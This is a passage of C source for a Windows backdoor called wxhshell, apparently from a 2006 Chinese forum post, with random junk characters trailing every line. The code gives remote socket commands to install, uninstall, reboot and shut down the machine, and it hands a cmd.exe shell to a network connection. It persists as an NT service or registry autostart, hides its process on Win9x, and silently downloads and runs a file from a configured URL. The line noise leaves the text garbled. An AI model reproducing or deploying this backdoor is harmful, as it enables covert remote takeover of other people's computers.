  kJ>l, AD/  
  // 帮助 X6!u(plVQ  
  case '?': { *FR Eh@R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;%]Q%7  
    break; \ Yz>=rY  
  } =]\,I'  
  // 安装 DkA cT[  
  case 'i': { Q0,]Q ]_  
    if(Install()) m'r6.Hp3Ng  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +f+x3OMX3  
    else i+Px &9o<9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KI-E=<zt  
    break; z >vzXM  
    } rcq(p (!  
  // 卸载 nmc=RK^cM  
  case 'r': { JE9|;A  
    if(Uninstall()) el.;T*Wn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~lrd#qC  
    else _,NL;66=[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W*u Yb|0  
    break; 9X@y*;w<t  
    } K`j#'`/KC  
  // 显示 wxhshell 所在路径 jbn{5af  
  case 'p': { Ngu+V  
    char svExeFile[MAX_PATH]; _I&0HRi  
    strcpy(svExeFile,"\n\r"); eq "a)QB3m  
      strcat(svExeFile,ExeFile); G#N h)ff  
        send(wsh,svExeFile,strlen(svExeFile),0); . CLiv  
    break; w%VHq z$  
    } 4B<D.i ;}  
  // 重启 aoco'BR F  
  case 'b': { _z)G!_7.>\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JnmJN1@I  
    if(Boot(REBOOT)) nC qUg_{D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X/];*='Q  
    else { jWiB_8- 6  
    closesocket(wsh); Up*p*(d3  
    ExitThread(0); hrN r i$  
    } |M[E^  
    break; \QBODJ1  
    } 6BFtY+.y  
  // 关机 Mm :6+  
  case 'd': { ><TuL7+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c|:H/Y2n|  
    if(Boot(SHUTDOWN)) MH?|>6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PD$ay^Y  
    else { V~&P<=8;Wl  
    closesocket(wsh); hh{4r} |  
    ExitThread(0); G! zV=p  
    } %TPnC'2  
    break; Zu_m$Mx  
    } zW!3>(L/  
  // 获取shell O!hg@[\B+  
  case 's': { s IY`H^  
    CmdShell(wsh); )|XmF4R  
    closesocket(wsh); fR~_5 pt7  
    ExitThread(0); ?<#6=  
    break; R4_4FEo  
  } w-AF5%gX  
  // 退出 m%+W{N4Wb  
  case 'x': { 0 4x[@f`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p=coOWOQ  
    CloseIt(wsh); %njX'7^u  
    break; uPsn~>(4  
    } a/NmM)  
  // 离开 DCPK1ql  
  case 'q': { .D-}2<z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F8Rd#^9PD  
    closesocket(wsh); =mn)].Wg  
    WSACleanup(); @8HTC|_vX  
    exit(1); 5MQD:K2  
    break; !\}Dxt  
        } w_ kHy_)  
  } I+!w9o2nZ  
  } '8 1M%KO  
']ya_v~e  
  // 提示信息 Zi|MWaA.f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (i.MxG Dd  
} !qV{OXdrB  
  } gLsl/G  
T8GxoNm  
  return; =V5<>5"M?  
} U8c0N<j  
2Y(P hw2%  
// shell模块句柄 6|V713\  
int CmdShell(SOCKET sock) J|W~\(W6i  
{ ?#-"YO7  
STARTUPINFO si; 3=o3VGZP  
ZeroMemory(&si,sizeof(si)); Y 1rU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IiHl"2+/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AY5%<CWj8  
PROCESS_INFORMATION ProcessInfo; .5p"o-:D  
char cmdline[]="cmd"; MH.,dB&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2oXsPrtZ  
  return 0; *TfXMN ?w  
} 5n"b$hMF  
89v9BWF  
// 自身启动模式 DxdiXf[j  
int StartFromService(void) j5Vyo>  
{ :7K cD\fCj  
typedef struct \zR@FOl`q  
{ q{ItTvL  
  DWORD ExitStatus; v?,_SVgAi  
  DWORD PebBaseAddress; g>12!2}  
  DWORD AffinityMask; v(W$\XH  
  DWORD BasePriority; ^ b{0|:  
  ULONG UniqueProcessId; e[$=5U~c  
  ULONG InheritedFromUniqueProcessId; G#t!{Q}8  
}   PROCESS_BASIC_INFORMATION; &#;vR 0O  
oTS*k: C'  
PROCNTQSIP NtQueryInformationProcess; luACdC  
Obgn?TAVX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N\ChA]Ck  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a[Ah  
vR.=o*!%  
  HANDLE             hProcess; fW~r%u .y  
  PROCESS_BASIC_INFORMATION pbi; 4:.yE|@h[  
kO{A]LnAH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X=USQj\A  
  if(NULL == hInst ) return 0; \HF|&@}hU  
w!,~#hbt6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }b)7gd=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &m&Z^CA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `wj<d>m  
]dHU  
  if (!NtQueryInformationProcess) return 0; .t*MGUg  
FloCR=^H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z$ZG`v>0  
  if(!hProcess) return 0; 9_)*b  
~~!iDF\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [~m@'/  
"#\\p~D/<  
  CloseHandle(hProcess); HJ?p,V q5_  
-f@~{rK.L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &\#If:  
if(hProcess==NULL) return 0; I(y:Td  
4/vQ/>c2j  
HMODULE hMod; .;&c<c|  
char procName[255]; FpN>T  
unsigned long cbNeeded; 89e<,f`h  
pKJ0+mN#"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :c[iS~ ~Y  
\CNv,HUm3  
  CloseHandle(hProcess); %$}aWzQxll  
A:Pp;9wl  
if(strstr(procName,"services")) return 1; // 以服务启动 #\3(rzQVO  
}c|)i,bL  
  return 0; // 注册表启动 8MqKS}\H  
} qIIc>By(\"  
Mhp6,JL  
// 主模块 d+[GMIxg  
int StartWxhshell(LPSTR lpCmdLine) D]X&Va  
{ $L%gQkz_  
  SOCKET wsl; %ub\+~  
BOOL val=TRUE; qp$Td<'Y  
  int port=0; 8 -]\C  
  struct sockaddr_in door; xc{$=>'G  
]yI~S(  
  if(wscfg.ws_autoins) Install(); uflRW+-2  
Af y\:&j  
port=atoi(lpCmdLine); a^/j&9  
fGGGz$;N  
if(port<=0) port=wscfg.ws_port; R@zl?>+  
-=5]B ;  
  WSADATA data; is`O,Met  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PCKgdh},  
o&WKk5$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H|@R+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QE8;Jk-  
  door.sin_family = AF_INET; bz$)@gLc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %49 ^S&  
  door.sin_port = htons(port); >Z%qkU/  
(.[HE ~ s?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3s25Rps  
closesocket(wsl); KlOL5"3  
return 1; o& -c5X4  
} =?9z6=  
W<']Q_su  
  if(listen(wsl,2) == INVALID_SOCKET) { R/5@*mv{  
closesocket(wsl); LYM(eK5V  
return 1; R|tf}~u !x  
} aG&ay3[&  
  Wxhshell(wsl); \M(#FS  
  WSACleanup(); lxSCN6  
b@9>1d$  
return 0; iLhxcM2K  
^R;Qa#=2  
} -%I 0Q  
4<c #3]  
// 以NT服务方式启动 'UW]~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LS(J%\hMDm  
{ %p wpRD@  
DWORD   status = 0; ?|}%A9   
  DWORD   specificError = 0xfffffff; \~ACWF7l  
~:Pu Kx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A08b=S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j)A$%xUo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e/S^Rx4W  
  serviceStatus.dwWin32ExitCode     = 0; A~Uqw8n$\  
  serviceStatus.dwServiceSpecificExitCode = 0; sD_"  
  serviceStatus.dwCheckPoint       = 0; cwK+{*ZH/  
  serviceStatus.dwWaitHint       = 0; yKy07<Gr>  
o>G^)aRa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v8PH(d2{@  
  if (hServiceStatusHandle==0) return; }iu(-{Z  
Td|x~mZv:  
status = GetLastError(); \@%sX24D  
  if (status!=NO_ERROR) !X 8<;e}2  
{ 9gS.G2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OvFWX%uY  
    serviceStatus.dwCheckPoint       = 0; c <T'_93  
    serviceStatus.dwWaitHint       = 0; ga#Yd}G^~3  
    serviceStatus.dwWin32ExitCode     = status;  oJ<Wh @  
    serviceStatus.dwServiceSpecificExitCode = specificError; $IdY(f:.:5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zSU06Y  
    return; ab5uZ0@  
  } IQ9jTkW l  
vWM'}(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qrq9NPf  
  serviceStatus.dwCheckPoint       = 0; +ISXyGu  
  serviceStatus.dwWaitHint       = 0; Xy;!Q`h(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [u=DAk?8  
} @Z50S 8  
5[1#d\QR  
// 处理NT服务事件,比如:启动、停止 !edgziuO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TNvE26.(  
{ l:Y$A$W]>  
switch(fdwControl) /p&)bL  
{ $!msav  
case SERVICE_CONTROL_STOP: GA8cA)]zOD  
  serviceStatus.dwWin32ExitCode = 0; 8/4Gr8 o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FyZiiH4|  
  serviceStatus.dwCheckPoint   = 0; uy,ySBY  
  serviceStatus.dwWaitHint     = 0; 1f.xZgO/2  
  { I8 <s4q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,Cj8{s&;  
  } v{H3DgyG  
  return; }PR^Dj.  
case SERVICE_CONTROL_PAUSE: F! |?S:X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SwDUg}M~  
  break; JqDj)}fzX  
case SERVICE_CONTROL_CONTINUE: B1&H5gxgN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7 %P?3  
  break; ]/d4o  
case SERVICE_CONTROL_INTERROGATE: (5"BKu1t  
  break; cZ" Ut  
}; 's]+.3">L1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B) 81mcy  
} \I\'c.$I.Y  
@QAyXwp  
// 标准应用程序主函数 6$'6x2,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aE_)iE|  
{ 3,K*r"=  
F7(~v2|  
// 获取操作系统版本 lRn6Zh  
OsIsNt=GetOsVer(); v!;E1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t `4^cd5V  
d E@R7yU@  
  // 从命令行安装 `;^%t  
  if(strpbrk(lpCmdLine,"iI")) Install(); @UO=)PxN3  
Z {ntF  
  // 下载执行文件 Cf_Ik  
if(wscfg.ws_downexe) { PAe2 hJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zN\~v  
  WinExec(wscfg.ws_filenam,SW_HIDE); NRS!Ox  
} k?.HW?=zy  
^"w.v' sL  
if(!OsIsNt) { ;z9(  
// 如果时win9x,隐藏进程并且设置为注册表启动 NVnKgGlHgd  
HideProc(); /HNZwbh]uJ  
StartWxhshell(lpCmdLine); "9[K  
} >4d2IO1\  
else MwxfTH"wi  
  if(StartFromService()) `p&ko$i2  
  // 以服务方式启动 >#@1 I  
  StartServiceCtrlDispatcher(DispatchTable); ];P^q`n=.  
else cJ&e^$:Er  
  // 普通方式启动 Ii?"`d+JA  
  StartWxhshell(lpCmdLine); .P=uR8  
9?*BN\E5S  
return 0; 'aB0abr|  
}
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只看该作者 1 发表于: 2006-10-10
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